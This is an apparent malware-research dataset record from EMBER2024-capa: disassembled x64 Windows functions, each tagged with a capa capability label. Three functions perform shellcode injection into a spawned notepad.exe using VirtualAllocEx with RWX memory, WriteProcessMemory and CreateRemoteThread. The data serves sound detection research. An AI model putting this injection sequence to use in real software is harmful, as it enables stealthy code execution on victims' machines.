joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400c2ab0
Capabilities:
Read http header

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x140132800]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rsi, r8
mov r12, rdx
mov r14, rcx
mov rdi, qword [r8]
mov rbx, qword [rdi + 0x58]
mov r8, qword [rbx + 8]
lea rdx, [rdi + 0x58]
lea rcx, [rdi + 0x58]
call fcn.140059640
mov qword [rbx + 8], rbx
mov qword [rbx], rbx
mov qword [rbx + 0x10], rbx
xor r15d, r15d
mov qword [rdi + 0x60], r15
mov dword [rbp - 0x40], r15d
mov qword [rsp + 0x28], r15
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r15 + 0x13]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], 7
mov word [rbp - 0x30], r15w
mov edx, dword [rbp - 0x40]
test rdx, rdx
jne 0x1400c2b51
mov qword [rbp - 0x20], rdx
mov word [rbp + rdx*2 - 0x30], r15w
jmp 0x1400c2b5d
xor r8d, r8d
lea rcx, [rbp - 0x30]
call fcn.14008e9c0
lea r9, [rbp - 0x30]
cmp qword [rbp - 0x18], 8
cmovae r9, qword [rbp - 0x30]
mov qword [rsp + 0x28], r15
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea edx, [r8 + 0x13]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov rdi, rax
lea rbx, [rbp - 0x30]
cmp qword [rbp - 0x18], 8
cmovae rbx, qword [rbp - 0x30]
mov dword [rax], r15d
mov r8d, 0xa
lea rdx, [rbp - 0x38]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstol]
mov r15d, eax
cmp rbx, qword [rbp - 0x38]
je 0x1400c2cba
cmp dword [rdi], 0x22
je 0x1400c2cc7
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x1400c2c0f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c2c0a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400c2c0a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008cef8
mov rax, qword [rsi]
mov word [rax + 0x88], r15w
mov rdx, r14
lea rcx, [rbp - 0x30]
call fcn.1400c28c0
nop
mov rcx, qword [rsi]
add rcx, 0x90
cmp rcx, rax
je 0x1400c2c4d
mov rdx, rax
cmp qword [rax + 0x18], 8
jb 0x1400c2c43
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.14008ecb0
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x1400c2c90
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c2c8b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400c2c8b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008cef8
mov rdx, qword [rsi]
add rdx, 0x58
mov rcx, r12
call fcn.1400a2e90
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1400c6430
add rsp, 0x70
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
lea rcx, str.invalid_stoi_argument
call sub.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const____ptr64_
int3
lea rcx, str.stoi_argument_out_of_range
call sub.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_
int3
Function at 0x1400c6210
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1400c624a
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1400c624f
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400c6298
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400dfb80]
cmp byte [rcx + rax], 0
je 0x1400c6298
dec r8
sub rdx, 1
jne 0x1400c627e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x14000b1d8
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.14000e218
nop
cmp dword [0x140019638], 1
je 0x14000b184
mov dword [0x140019634], 1
mov byte [0x140019630], r12b
test ebx, ebx
jne 0x14000b170
mov rcx, qword [0x14001a6f8]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14000b15d
mov rcx, qword [0x14001a6f0]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x14000b0fc
call fcn.14000c070
cmp qword [rdi], rax
jne 0x14000b0fc
jmp 0x14000b0e2
cmp rdi, rsi
jb 0x14000b15d
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.14000c070
mov qword [rdi], rax
call rbx
mov rcx, qword [0x14001a6f8]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x14001a6f0]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x14000b13b
cmp r13, rax
je 0x14000b15b
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x14000b0e2
lea rdx, [0x140014738]
lea rcx, [0x140014730]
call fcn.14000af2c
lea rdx, [0x140014748]
lea rcx, [0x140014740]
call fcn.14000af2c
nop
test r12d, r12d
je 0x14000b193
mov ecx, 8
call fcn.14000e118
test r12d, r12d
jne 0x14000b1be
mov dword [0x140019638], 1
lea ecx, [r12 + 8]
call fcn.14000e118
mov ecx, r15d
call fcn.14000aec0
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x14000b04c

Function at 0x14000b1e4
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x14000b04c
Function at 0x14000e7b0
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.14000c070
xor ebx, ebx
mov rdi, rax
cmp qword [0x140019e60], rbx
jne 0x14000e8b6
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x14000e98b
lea rdx, [0x140015070]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000e98b
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x140015060]
mov rcx, rsi
mov qword [0x140019e60], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140019e68], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x140019e70], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x140019e80], rax
test rax, rax
je 0x14000e8ad
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x140019e78], rax
jmp 0x14000e8bd
mov rax, qword [0x140019e78]
jmp 0x14000e8c4
mov rax, qword [0x140019e78]
mov r11, qword [0x140019e80]
cmp rax, rdi
je 0x14000e92c
cmp r11, rdi
je 0x14000e92c
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x140019e80]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x14000e92c
test rax, rax
je 0x14000e92c
call rsi
test rax, rax
je 0x14000e926
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000e926
test byte [rsp + 0x38], 1
jne 0x14000e92c
bts ebp, 0x15
jmp 0x14000e96a
mov rcx, qword [0x140019e68]
cmp rcx, rdi
je 0x14000e96a
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14000e96a
call rax
mov rbx, rax
test rax, rax
je 0x14000e96a
mov rcx, qword [0x140019e70]
cmp rcx, rdi
je 0x14000e96a
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14000e96a
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140019e60]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14000e98b
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x14000e98d
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x140011ea7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140018ac0]
jne 0x14000deba
rol rcx, 0x10
test cx, 0xffff
jne 0x14000deb6
repz ret
ror rcx, 0x10
jmp 0x140011e00
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140019f40]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x14001a038]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140011e85
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140019f40]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140011ea7
mov rax, qword [rsp + 0x88]
mov qword [0x14001a038], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140019fd8], rax
mov rax, qword [0x14001a038]
mov qword [0x140019eb0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140019fc0], rax
mov dword [0x140019ea0], 0xc0000409
mov dword [0x140019ea4], 1
mov rax, qword [0x140018ac0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140018ac8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140019f38], eax
mov ecx, 1
call fcn.14000fc38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140015a18]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140019f38], 0
jne 0x140011f2e
mov ecx, 1
call fcn.14000fc38
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1400037f0
Capabilities:
Enumerate processes

Disassembly:
push rbx
sub rsp, 0x160
mov rax, qword [0x140106040]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140003867
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140003867
nop dword [rax + rax]
lea rdx, str.notepad.exe
lea rcx, [rsp + 0x4c]
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
mov rcx, rbx
test eax, eax
je 0x14000388b
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140003840
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400afa20
add rsp, 0x160
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
jmp 0x140003872

Function at 0x1400038a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rsi
sub rsp, 0x40
xor esi, esi
lea r8, str.c:windows_system32_notepad.exe
mov dword [rsp + 0x28], esi
lea rdx, str.open
xor r9d, r9d
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, str.Injection_Started...
mov qword [0x1422bbc78], rcx
cmp eax, 0x20
jg 0x1400038f2
lea rax, str.Injection_Failed.__0_
mov qword [0x1422bbc78], rax
xor al, al
jmp 0x140003a12
call fcn.1400037f0
test eax, eax
jne 0x140003910
lea rax, str.Injection_Failed.__1_
mov qword [0x1422bbc78], rax
xor al, al
jmp 0x140003a12
mov r8d, eax
mov qword [rsp + 0x50], rbx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140003942
lea rax, str.Injection_Failed.__2_
mov qword [0x1422bbc78], rax
xor al, al
jmp 0x140003a0d
xor edx, edx
mov qword [rsp + 0x58], rdi
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x40
mov r8d, 0x88d3d5
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x140003983
lea rax, str.Injection_Failed.__3_
mov qword [0x1422bbc78], rax
xor al, al
jmp 0x140003a08
mov r9d, 0x88d3d5
mov qword [rsp + 0x20], rsi
lea r8, [0x1419ddb10]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400039b7
lea rax, str.Injection_Failed.__4_
mov qword [0x1422bbc78], rax
xor al, al
jmp 0x140003a08
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x30], rsi
mov r9, rdi
mov dword [rsp + 0x28], esi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x1400039f8
lea rax, str.Injection_Failed.__5_
mov qword [0x1422bbc78], rax
xor al, al
jmp 0x140003a08
lea rax, str.Successfully_injected_
mov qword [0x1422bbc78], rax
mov al, 1
mov rdi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rsi
ret
Function at 0x140003a20
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rsi
sub rsp, 0x40
xor esi, esi
lea r8, str.c:windows_system32_notepad.exe
mov dword [rsp + 0x28], esi
lea rdx, str.open
xor r9d, r9d
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, str.Injection_Started...
mov qword [0x1422bbc78], rcx
cmp eax, 0x20
jg 0x140003a72
lea rax, str.Injection_Failed.__0_
mov qword [0x1422bbc78], rax
xor al, al
jmp 0x140003b92
call fcn.1400037f0
test eax, eax
jne 0x140003a90
lea rax, str.Injection_Failed.__1_
mov qword [0x1422bbc78], rax
xor al, al
jmp 0x140003b92
mov r8d, eax
mov qword [rsp + 0x50], rbx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140003ac2
lea rax, str.Injection_Failed.__2_
mov qword [0x1422bbc78], rax
xor al, al
jmp 0x140003b8d
xor edx, edx
mov qword [rsp + 0x58], rdi
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x40
mov r8d, 0x273800
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x140003b03
lea rax, str.Injection_Failed.__3_
mov qword [0x1422bbc78], rax
xor al, al
jmp 0x140003b88
mov r9d, 0x273800
mov qword [rsp + 0x20], rsi
lea r8, [0x14176a300]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140003b37
lea rax, str.Injection_Failed.__4_
mov qword [0x1422bbc78], rax
xor al, al
jmp 0x140003b88
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x30], rsi
mov r9, rdi
mov dword [rsp + 0x28], esi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x140003b78
lea rax, str.Injection_Failed.__5_
mov qword [0x1422bbc78], rax
xor al, al
jmp 0x140003b88
lea rax, str.Successfully_injected_
mov qword [0x1422bbc78], rax
mov al, 1
mov rdi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rsi
ret
Function at 0x140003ba0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rsi
sub rsp, 0x40
xor esi, esi
lea r8, str.c:windows_system32_notepad.exe
mov dword [rsp + 0x28], esi
lea rdx, str.open
xor r9d, r9d
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, str.Injection_Started...
mov qword [0x1422bbc78], rcx
cmp eax, 0x20
jg 0x140003bf2
lea rax, str.Injection_Failed.__0_
mov qword [0x1422bbc78], rax
xor al, al
jmp 0x140003d12
call fcn.1400037f0
test eax, eax
jne 0x140003c10
lea rax, str.Injection_Failed.__1_
mov qword [0x1422bbc78], rax
xor al, al
jmp 0x140003d12
mov r8d, eax
mov qword [rsp + 0x50], rbx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140003c42
lea rax, str.Injection_Failed.__2_
mov qword [0x1422bbc78], rax
xor al, al
jmp 0x140003d0d
xor edx, edx
mov qword [rsp + 0x58], rdi
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x40
mov r8d, 0x1664200
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x140003c83
lea rax, str.Injection_Failed.__3_
mov qword [0x1422bbc78], rax
xor al, al
jmp 0x140003d08
mov r9d, 0x1664200
mov qword [rsp + 0x20], rsi
lea r8, [0x1401060d0]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140003cb7
lea rax, str.Injection_Failed.__4_
mov qword [0x1422bbc78], rax
xor al, al
jmp 0x140003d08
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x30], rsi
mov r9, rdi
mov dword [rsp + 0x28], esi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x140003cf8
lea rax, str.Injection_Failed.__5_
mov qword [0x1422bbc78], rax
xor al, al
jmp 0x140003d08
lea rax, str.Successfully_injected_
mov qword [0x1422bbc78], rax
mov al, 1
mov rdi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rsi
ret
Function at 0x140005460
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x290
mov rax, qword [0x140106040]
xor rax, rsp
mov qword [rsp + 0x280], rax
mov rbx, rcx
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400054bb
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x1400054c2
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400055aa
mov qword [rsp + 0x2a0], rdi
xor edi, edi
nop dword [rax]
xorps xmm0, xmm0
mov qword [rsp + 0x30], rdi
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x38], rdi
lea rax, [rsp + 0x6c]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], di
jne 0x1400054f0
lea rdx, [rsp + 0x6c]
lea rcx, [rsp + 0x20]
call fcn.14000efa0
cmp qword [rbx + 0x18], 7
mov rax, rbx
jbe 0x140005516
mov rax, qword [rbx]
mov r10, qword [rsp + 0x38]
lea r8, [rsp + 0x20]
mov r9, qword [rsp + 0x20]
cmp r10, 7
mov rdx, qword [rsp + 0x30]
cmova r8, r9
cmp rdx, qword [rbx + 0x10]
jne 0x1400055cb
test rdx, rdx
je 0x140005558
sub r8, rax
movzx ecx, word [r8 + rax]
cmp cx, word [rax]
jne 0x1400055cb
add rax, 2
sub rdx, 1
jne 0x140005544
mov edi, dword [rsp + 0x48]
cmp r10, 7
jbe 0x140005597
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x14000558f
mov r9, qword [r9 - 8]
add rdx, 0x27
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000561d
mov rcx, r9
call fcn.1400afa40
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov rdi, qword [rsp + 0x2a0]
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.1400afa20
mov rbx, qword [rsp + 0x2a8]
add rsp, 0x290
pop rsi
ret
cmp r10, 7
jbe 0x140005602
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x1400055fa
mov r9, qword [r9 - 8]
add rdx, 0x27
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000561d
mov rcx, r9
call fcn.1400afa40
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400054d0
jmp 0x140005597
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x1400073b0
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x140106040]
xor rax, rsp
mov qword [rsp + 0x68], rax
xor ebx, ebx
lea r9, [rsp + 0x40]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400cf9d0]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x140007513
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
mov rdx, qword [rsp + 0x40]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], bx
jne 0x140007403
lea rcx, [rsp + 0x20]
call fcn.14000efa0
nop
mov r8d, 0x2c
lea rdx, str.MicrosoftWindowsRecentCustomDestinations
lea rcx, [rsp + 0x20]
call fcn.14000d090
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
mov rdx, qword [rsp + 0x38]
cmp rdx, 7
jbe 0x1400074a5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400074a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400074a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400afa40
movdqa xmm0, xmmword [0x1400f4d70]
movdqu xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x20], bx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rcx, [rsp + 0x48]
call fcn.1400070a0
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x140007513
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000750e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000750e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400afa40
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400afa20
add rsp, 0x70
pop rbx
ret